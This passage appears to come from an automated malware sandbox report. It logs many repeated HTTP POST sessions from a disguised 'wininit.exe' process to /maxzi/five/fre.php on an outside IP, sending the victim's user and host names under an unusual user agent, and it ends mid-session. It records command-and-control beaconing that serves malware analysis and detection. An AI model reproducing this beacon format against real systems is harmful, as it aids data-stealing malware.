Nov 20, 2024 10:58:36.384644032 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:36 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	58806	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:36.539042950 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:36.544138908 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:37.276716948 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	58812	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:37.432391882 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:37.437340021 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:38.177804947 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	58818	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:38.332047939 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:38.343066931 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:39.075459003 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	58827	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:39.235456944 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:39.243871927 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:39.980175018 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	58828	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:40.140631914 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:40.146749020 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:40.879949093 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:40 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	58829	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:41.029660940 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:41.034533024 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:41.780756950 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	58830	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:41.937705994 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:41.944293976 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:42.700021029 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:42 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	58831	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:42.855871916 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:42.863234043 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:43.621169090 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:43 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	58832	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:43.778435946 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:43.784646034 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:44.664953947 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:44 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	58833	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:45.031275034 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:45.036253929 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:45.774208069 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:45 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	58834	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:45.923891068 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:45.931401968 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:46.706713915 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:46 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	58835	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:46.863411903 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:46.868272066 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:47.637343884 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	58836	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:47.796686888 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:47.801636934 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:48.567925930 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:48 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	58837	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:48.714452028 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:48.719400883 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:49.472841978 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	58838	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:49.623297930 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:49.631589890 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:50.369251013 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:50 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	58839	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:50.526932001 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:50.531924009 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:51.270072937 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:51 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	58840	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:51.457564116 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:51.462507010 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:52.210387945 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	58841	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:52.358613968 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:52.365082979 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:53.245441914 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:53 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	58842	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:53.415009975 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:53.422435045 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:54.194730997 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	58843	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:54.354259968 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:54.359199047 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:55.228442907 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	58844	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:58:55.376452923 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:58:55.384692907 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:58:56.119107008 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:58:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	58845	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
